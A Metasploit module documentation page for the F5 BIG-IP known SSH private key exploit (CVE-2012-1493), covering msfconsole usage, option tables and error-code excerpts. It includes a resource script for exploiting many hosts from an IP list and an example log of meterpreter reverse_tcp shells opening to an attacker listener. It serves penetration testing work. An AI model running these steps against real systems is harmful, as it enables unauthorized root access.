F5 BIG-IP SSH Private Key Exposure - Metasploit
This page contains detailed information about how to use the exploit/linux/ssh/f5_bigip_known_privkey metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: F5 BIG-IP SSH Private Key Exposure
Module: exploit/linux/ssh/f5_bigip_known_privkey
Source code: modules/exploits/linux/ssh/f5_bigip_known_privkey.rb
Disclosure date: 2012-06-11
Last modification time: 2022-04-18 19:25:38 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2012-1493
F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Basic Usage
Using f5_bigip_known_privkey against a single host
Normally, you can use exploit/linux/ssh/f5_bigip_known_privkey this way:
msf > use exploit/linux/ssh/f5_bigip_known_privkey
msf exploit(f5_bigip_known_privkey) > show targets
... a list of targets ...
msf exploit(f5_bigip_known_privkey) > set TARGET target-id
msf exploit(f5_bigip_known_privkey) > show options
... show and set options ...
msf exploit(f5_bigip_known_privkey) > exploit
Using f5_bigip_known_privkey against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your f5_bigip_known_privkey will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ssh/f5_bigip_known_privkey")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/ssh/f5_bigip_known_privkey exploit module looks in the msfconsole:
msf6 > use exploit/linux/ssh/f5_bigip_known_privkey
[*] Using configured payload cmd/unix/interact
msf6 exploit(linux/ssh/f5_bigip_known_privkey) > show info
Name: F5 BIG-IP SSH Private Key Exposure
Module: exploit/linux/ssh/f5_bigip_known_privkey
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-06-11
Provided by:
egypt <[email protected]>
Available targets:
Id Name
-- ----
0 Universal
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
Payload information:
Description:
F5 ships a public/private key pair on BIG-IP appliances that allows
passwordless authentication to any other BIG-IP box. Since the key
is easily retrievable, an attacker can use it to gain unauthorized
remote access as root.
References:
https://www.trustmatta.com/advisories/MATTA-2012-002.txt
https://nvd.nist.gov/vuln/detail/CVE-2012-1493
OSVDB (82780)
https://blog.rapid7.com/2012/06/25/press-f5-for-root-shell
Module Options
This is a complete list of options available in the linux/ssh/f5_bigip_known_privkey exploit:
msf6 exploit(linux/ssh/f5_bigip_known_privkey) > show options
Module options (exploit/linux/ssh/f5_bigip_known_privkey):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Universal
Advanced Options
Here is a complete list of advanced options supported by the linux/ssh/f5_bigip_known_privkey exploit:
msf6 exploit(linux/ssh/f5_bigip_known_privkey) > show advanced
Module advanced options (exploit/linux/ssh/f5_bigip_known_privkey):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ssh/f5_bigip_known_privkey module can exploit:
msf6 exploit(linux/ssh/f5_bigip_known_privkey) > show targets
Exploit targets:
Id Name
-- ----
0 Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/f5_bigip_known_privkey exploit:
msf6 exploit(linux/ssh/f5_bigip_known_privkey) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/ssh/f5_bigip_known_privkey exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ssh/f5_bigip_known_privkey) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:
95: ssh_socket = Net::SSH.start(rhost, user, opt_hash)
96: end
97: rescue Rex::ConnectionError
98: return
99: rescue Net::SSH::Disconnect, ::EOFError
100: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
101: return
102: rescue ::Timeout::Error
103: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
104: return
105: rescue Net::SSH::AuthenticationFailed
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
98: return
99: rescue Net::SSH::Disconnect, ::EOFError
100: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
101: return
102: rescue ::Timeout::Error
103: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
104: return
105: rescue Net::SSH::AuthenticationFailed
106: print_error "#{rhost}:#{rport} SSH - Failed authentication"
107: rescue Net::SSH::Exception => e
108: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
<RHOST>:<RPORT> SSH - Failed authentication
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Failed authentication" error message:
101: return
102: rescue ::Timeout::Error
103: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
104: return
105: rescue Net::SSH::AuthenticationFailed
106: print_error "#{rhost}:#{rport} SSH - Failed authentication"
107: rescue Net::SSH::Exception => e
108: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
109: return
110: end
111:
<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
103: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
104: return
105: rescue Net::SSH::AuthenticationFailed
106: print_error "#{rhost}:#{rport} SSH - Failed authentication"
107: rescue Net::SSH::Exception => e
108: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
109: return
110: end
111:
112: return false unless ssh_socket
113:
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Related Pull Requests
- #15064 Merged Pull Request: Fix Rex::Socket::SSHFactory NameError in exploit/linux/ssh/f5_bigip_known_privkey
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #10374 Merged Pull Request: Net::SSH::CommandStream fixes implemented
- #9524 Merged Pull Request: prefer 'shell' channels over 'exec' channels for ssh CommandStream
- #8769 Merged Pull Request: Add space after comma in f5_bigip_known_privkey module to coincide wi…
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7339 Merged Pull Request: Bug/7321/fix ssh modules
- #7018 Merged Pull Request: Un-Vendor the net-ssh library
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #750 Merged Pull Request: Add Metasploit blogs as references, because they're useful.
- #687 Merged Pull Request: This commit allows ssh_login to use socks proxies.
References
- https://www.trustmatta.com/advisories/MATTA-2012-002.txt
- CVE-2012-1493
- OSVDB (82780)
- https://blog.rapid7.com/2012/06/25/press-f5-for-root-shell
See Also
Check also the following modules related to this module:
- exploit/linux/http/f5_bigip_tmui_rce
- exploit/linux/http/f5_icall_cmd
- exploit/linux/http/f5_icontrol_exec
- exploit/linux/http/f5_icontrol_rce
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
- exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/mercurial_ssh_exec
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vmware_vdp_known_privkey
- exploit/linux/ssh/vyos_restricted_shell_privesc
- auxiliary/admin/networking/f5_config
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/scanner/http/f5_bigip_virtual_server
- auxiliary/scanner/http/f5_mgmt_scanner
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- post/networking/gather/enum_f5
- exploit/linux/samba/is_known_pipename
Related Nessus plugins:
Authors
- egypt
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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